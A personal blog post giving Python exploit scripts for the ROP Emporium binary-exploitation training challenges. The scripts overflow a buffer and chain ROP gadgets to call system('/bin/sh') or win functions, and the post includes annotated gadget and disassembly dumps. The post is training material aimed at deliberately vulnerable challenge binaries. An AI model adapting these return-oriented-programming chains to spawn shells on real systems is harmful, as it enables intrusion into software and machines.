ZakCheb's technical blog.

Follow @ZakCh3b
1 April 2020

ROP Emporium solutions

Introduction

Here are the solutions of the ROP Emporium challenges made by Max Kamper, he is extremely knowledgeable about binary exploitation, and has the ability to to easily teach advanced topics divided into digestible fast “chunks”, check him out!

The challenges were great to train with, managed to do 7/8 for the x64, had to read some writeups for pivot one, once again, did not properly document my thought process, but still it might be usefull for some people looking for original solutions, will maybe improve them over time, I hope you like them in the meantime, for the x86 ones, they are practically the same, the size of the registers and calling convention are the only difference I presume.

ret2win

#!/usr/bin/env python3
from pwn import *

exe = './ret2win'
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())

io = start()
ret2win= p64(0x0000000000400811)
padding=40*'A'.encode()

io.send(padding+ret2win)

io.interactive()

split

i#!/usr/bin/env python3
from pwn import *

exe = './split'
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())

io = start()
uf= p64(0x0000000000400807)
padding=40*'A'.encode()

system=p64( 0x0000000000400810)
cat_flag=p64(0x00601060)
pop_rdi= p64(0x0000000000400883)

io.sendline(padding+pop_rdi+cat_flag+system)#+uf)
io.interactive()

callme

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

exe = './callme'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())

io = start()

padding='A'.encode()*40
call_1=p64(0x0000000000401850)
call_2=p64(0x0000000000401870)
call_3=p64(0x0000000000401810)

#0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
pop_rdi_rsi_rdx= p64(0x401ab0)
payload=  padding
payload+= pop_rdi_rsi_rdx+ p64(0x1)+ p64(0x2)+ p64(0x3)+call_1
payload+= pop_rdi_rsi_rdx+ p64(0x1)+ p64(0x2)+ p64(0x3)+call_2
payload+= pop_rdi_rsi_rdx+ p64(0x1)+ p64(0x2)+ p64(0x3)+call_3

io.sendline(payload)
io.interactive()

write4

#!/usr/bin/env python3
from pwn import *

exe = './write4'
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)
dbscript = '''
continue
'''.format(**locals())

# Gadgets
#0x0000000000400820: mov qword ptr [r14], r15; ret; 
#0x0000000000400890: pop r14; pop r15; ret;
#0x0000000000400893: pop rdi; ret; 

def WriteMem(Where,What):
    mov_15_to_PTR14=p64(0x400820)
    pop_14_15=p64(0x400890)
    print(What,pop_14_15)
    payload=pop_14_15+Where+What+mov_15_to_PTR14
    return payload

padding= 40*'A'.encode()
io = start()

uf= p64(0x400807)
system= p64(0x400810)
writable=p64(0x601050)
pop_rdi=p64(0x400893)

payload = padding
payload+= WriteMem(  writable  ,  b'/bin/sh\x00' )  
payload+= pop_rdi+ writable
payload+= system
#payload+=  WriteMem(  writable2  , b'/sh\x00' )  
payload+=uf
io.sendline(payload)
f=open("payload","wb")
f.write(payload)
io.interactive()

badchars

#!/usr/bin/env python3 
from pwn import *

exe = './badchars'
context.update(arch='i386')
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

dbscript = '''
continue
'''.format(**locals())


# Gadgets
#0x0000000000400b3b: pop r12; pop r13; ret;
#0x0000000000400b34: mov qword ptr [r13], r12; ret; 

#0x0000000000400b40: pop r14; pop r15; ret;
#0x0000000000400b30: xor byte ptr [r15], r14b; ret;

#0x0000000000400b39: pop rdi; ret;

#0x00000000004008ee: mov eax, 0; pop rbp; ret; 

badchars=  [b'b',b'i',b'c', b'/', b' ', b'f', b'n', b's']
cmd=b'/bin/sh\x00'
offset=15
data_sec=0x601070 + offset
data=p64(data_sec)

def WriteMem(Where,What):
    pop_12_13=p64(0x400b3b)
    mov_12_in_pt13=p64(0x400b34)
    payload=pop_12_13+What+Where+mov_12_in_pt13
    return payload
def XorByte(Where,key):
    pop_14_15=p64(0x400b40)
    xor_14_ptr15=p64(0x400b30)
    payload=pop_14_15+key+Where+xor_14_ptr15
    return payload

xored_cmd=badchars

key=0
# Be sure xored_cmd do not contain badchars, else increment key.
while len([e for e in badchars if e in xored_cmd]) != 0:
    key+=1
    xored_cmd=''.join([chr((i) ^ key) for i in cmd]).encode()
    print( xored_cmd,key)

padding='A'.encode()*40
payload=padding

## Write xored_cmd in data section
payload += WriteMem(data,xored_cmd)

### Xor payload in data section
for i in range(8): 
    payload += XorByte(p64(data_sec+i),p64(key))

### Pop clear cmd into rdi and call system
pop_rdi=p64(0x400b39)
call_system=p64(0x4009e8)
#libc_system=p64(0x00007ffff7e3eed0)
system= p64(0x4006F0)
payload += pop_rdi+data+system


uf =p64(0x00000000004009df)
#payload += uf
exit=p64(0x0000000000400770)
mov_eax_0=p64(0x4008ee)
payload+=mov_eax_0+p64(0)+exit
io = start()


io.sendline(payload)
f= open('payload','wb')
f.write(payload)
io.interactive()

fluff

#!/usr/bin/env python3
from pwn import *

context.update(arch='i386')
exe = './fluff'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())


# Gadgets
#0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret;
#Dump of assembler code for function questionableGadgets:
                                    # Control r15,r14, set r11 zero
   #0x0000000000400820 <+0>:   pop    r15
   #0x0000000000400822 <+2>:   xor    r11,r11 
   #0x0000000000400825 <+5>:   pop    r14
   #0x0000000000400827 <+7>:   mov    edi,0x601050
   #0x000000000040082c <+12>:  ret

                                    # Control r14 r12
   #0x000000000040082d <+13>:  pop    r14
   #0x000000000040082f <+15>:  xor    r11,r12
   #0x0000000000400832 <+18>:  pop    r12
   #0x0000000000400834 <+20>:  mov    r13d,0x604060
   #0x000000000040083a <+26>:  ret
                                    # Control r15 swap 11 10
   #0x000000000040083b <+27>:  mov    edi,0x601050
   #0x0000000000400840 <+32>:  xchg   r11,r10     Swap content r11 r10
   #0x0000000000400843 <+35>:  pop    r15 
   #0x0000000000400845 <+37>:  mov    r11d,0x602050
   #0x000000000040084b <+43>:  ret
                                    
                                   # control r15, r13,r12, write to r10 with r11
   #0x000000000040084c <+44>:  pop    r15
   #0x000000000040084e <+46>:  mov    QWORD PTR [r10],r11
   #0x0000000000400851 <+49>:  pop    r13
   #0x0000000000400853 <+51>:  pop    r12
   #0x0000000000400855 <+53>:  xor    BYTE PTR [r10],r12b
   #0x0000000000400858 <+56>:  ret
   #0x0000000000400859 <+57>:  nop    DWORD PTR [rax+0x0]
##End of assembler dump.
#0x0000000000400719: add ebx, esi; ret;
#0x00000000004005b6: add esp, 8; ret;
#0x00000000004005b5: add rsp, 8; ret;
#0x00000000004008cf: add bl, dh; ret;
#0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 

#Control over 15,14,13,12   r11=O  *r10=r11  *r10=r12

# swap r11 r10, xor r11,r12
#0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 
#0x0000000000400840 <+32>:  xchg   r11,r10     Swap content r11 r10
# so can control r10 and r11
#0x000000000040084e <+46>:  mov    QWORD PTR [r10],r11
# Finally can write to memory /bin/sh and call system




cmd=b'/bin/sh\x00'
def setR12(value): # Modif r13
    pop_12=p64(0x400832)
#0x0000000000400832: pop r12; mov r13d, 0x604060; ret;
    buff=pop_12
    if value!=cmd: # Check if its cmd, dont p64 again .
        buff+=p64(value)
    else :
        buff+=value
    return  buff

def setR11(value11): #Modif r14 edi, r12 r13d
    xor_11_11= p64(0x400822)
    xor_11_12= p64(0x40082f)
#0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;
    buff= xor_11_11+p64(0)
    buff+= setR12(value11)
#0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 
    buff+= xor_11_12+p64(0)
    return  buff

def setR10(value10,r15=0):
# 0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 
    xchg_11_10=p64(0x400840)
    return setR11(value10)+xchg_11_10+p64(r15)


def WriteMem(valueWM,Where):
# 0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 
    mov_11_PTR10= p64(0x40084e)
    # Setup r10 and r11
    buff = setR10(Where)
    buff+= setR11(valueWM)
    # Write into memory
    buff+= mov_11_PTR10+ p64(0)+ p64(0)
    return buff
io = start()

padding=40*'A'.encode()

bss= (0x601060)
payload=padding+WriteMem(cmd,bss)
#0x00000000004008c3: pop rdi; ret;
payload+=p64(0x4008c3)+p64(bss)
system=p64(0x4005e0)  

payload+=system
f=open('payload','wb')
f.write(payload)
f.close()
io.sendline(payload)


io.interactive()

#
  #[20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       #0000000000000008  0000000000000000  WA       0     0     8
  #[21] .jcr              PROGBITS         0000000000600e20  00000e20
       #0000000000000008  0000000000000000  WA       0     0     8
  #[22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       #00000000000001d0  0000000000000010  WA       6     0     8
  #[23] .got              PROGBITS         0000000000600ff8  00000ff8
       #0000000000000008  0000000000000008  WA       0     0     8
  #[24] .got.plt          PROGBITS         0000000000601000  00001000
       #0000000000000050  0000000000000008  WA       0     0     8
  #[25] .data             PROGBITS         0000000000601050  00001050
       #0000000000000010  0000000000000000  WA       0     0     8
  #[26] .bss              NOBITS           0000000000601060  00001060
       #0000000000000030  0000000000000000  WA       0     0     32
#

pivot

ret2csu

#!/usr/bin/env python3
from pwn import *

exe = '/root/ropemporium/ret2csu/ret2csu'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript = '''
continue
finish
finish
finish
finish
finish
'''.format(**locals())

#0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
pop_12_13_14_15=p64(0x40089c)
ret= p64(0x600e48)
ret2win=p64(0x4007b1)



mov_rdx_rax=p64(0x400818)
io = start()
libc_csu_rdx=p64(0x400880)

rbp=p64(1)
payload=cyclic(32)+rbp
# Setup r12 = ret
_fini=p64(0x4008B4)
payload+=pop_12_13_14_15+ret+p64(0x1337)+p64(0x1337)+p64(0xdeadcafebabebeef)
payload+=libc_csu_rdx+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)+p64(0xdeadbeef)
payload+=ret2win

#payload+
#payload+
#gdb.attach(io,gdbscript=gdbscript)
io.sendline(payload)
io.interactive()

# libc csu
#
   #0x0000000000400880 <+64>:    mov    rdx,r15  
   #0x0000000000400883 <+67>:    mov    rsi,r14
   #0x0000000000400886 <+70>:    mov    edi,r13d
   #0x0000000000400889 <+73>:    call   QWORD PTR [r12+rbx*8] # r12 + rbx *8 == mem ==> ret //rbx=0
   #0x000000000040088d <+77>:    add    rbx,0x1
   #0x0000000000400891 <+81>:    cmp    rbp,rbx # rbp = rbx+1 
   #0x0000000000400894 <+84>:    jne    0x400880 <__libc_csu_init+64>
   #0x0000000000400896 <+86>:    add    rsp,0x8
   #0x000000000040089a <+90>:    pop    rbx
   #0x000000000040089b <+91>:    pop    rbp
   #0x000000000040089c <+92>:    pop    r12
   #0x000000000040089e <+94>:    pop    r13
   #0x00000000004008a0 <+96>:    pop    r14
   #0x00000000004008a2 <+98>:    pop    r15
   #0x00000000004008a4 <+100>:   ret  


   #0x00000000004007b1 <+0>:     push   rbp
   #0x00000000004007b2 <+1>:     mov    rbp,rsp
   #0x00000000004007b5 <+4>:     sub    rsp,0x30
   #0x00000000004007b9 <+8>:     mov    DWORD PTR [rbp-0x24],edi
   #0x00000000004007bc <+11>:    mov    DWORD PTR [rbp-0x28],esi
   #0x00000000004007bf <+14>:    mov    QWORD PTR [rbp-0x30],rdx
   #0x00000000004007c3 <+18>:    mov    rax,QWORD PTR [rip+0x15e]        # 0x400928
   #0x00000000004007ca <+25>:    mov    rdx,QWORD PTR [rip+0x15f]        # 0x400930
   #0x00000000004007d1 <+32>:    mov    QWORD PTR [rbp-0x20],rax
   #0x00000000004007d5 <+36>:    mov    QWORD PTR [rbp-0x18],rdx
   #0x00000000004007d9 <+40>:    movzx  eax,WORD PTR [rip+0x158]        # 0x400938
   #0x00000000004007e0 <+47>:    mov    WORD PTR [rbp-0x10],ax
   #0x00000000004007e4 <+51>:    lea    rax,[rbp-0x20]
   #0x00000000004007e8 <+55>:    mov    QWORD PTR [rbp-0x8],rax
   #0x00000000004007ec <+59>:    mov    rax,QWORD PTR [rbp-0x8]
   #0x00000000004007f0 <+63>:    mov    rax,QWORD PTR [rax]
   #0x00000000004007f3 <+66>:    xor    rax,QWORD PTR [rbp-0x30]
   #0x00000000004007f7 <+70>:    mov    rdx,rax
   #0x00000000004007fa <+73>:    mov    rax,QWORD PTR [rbp-0x8]
   #0x00000000004007fe <+77>:    mov    QWORD PTR [rax],rdx
   #0x0000000000400801 <+80>:    lea    rax,[rbp-0x20]
   #0x0000000000400805 <+84>:    add    rax,0x9
   #0x0000000000400809 <+88>:    mov    QWORD PTR [rbp-0x8],rax
   #0x000000000040080d <+92>:    mov    rax,QWORD PTR [rbp-0x8]
   #0x0000000000400811 <+96>:    mov    rax,QWORD PTR [rax]
   #0x0000000000400814 <+99>:    xor    rax,QWORD PTR [rbp-0x30]     0x30var must be xor of 0xdeadcafebebeef
   #0x0000000000400818 <+103>:   mov    rdx,rax                     rax must be 0xdeadcaf
   #0x000000000040081b <+106>:   mov    rax,QWORD PTR [rbp-0x8]
   #0x000000000040081f <+110>:   mov    QWORD PTR [rax],rdx
   #0x0000000000400822 <+113>:   lea    rax,[rbp-0x20]
   #0x0000000000400826 <+117>:   mov    rdi,rax
   #0x0000000000400829 <+120>:   call   0x4005a0 <system@plt> (rdx) must be 0xdeadcafebabebeef
   #0x000000000040082e <+125>:   nop
   #0x000000000040082f <+126>:   leave
   #0x0000000000400830 <+127>:   ret
#
   #gef➤  x/10i 0x4008b4
   #0x4008b4 <_fini>:    sub    rsp,0x8
   #0x4008b8 <_fini+4>:  add    rsp,0x8
   #0x4008bc <_fini+8>:  ret
   #0x4008bd:    Cannot access memory at address 0x4008bd
#gef➤  x/100x &_DYNAMIC
#0x600e20:       0x00000001      0x00000000      0x00000001      0x00000000
#0x600e30:       0x0000000c      0x00000000      0x00400560      0x00000000
#0x600e40:       0x0000000d      0x00000000      0x004008b4      0x00000000
#
tags: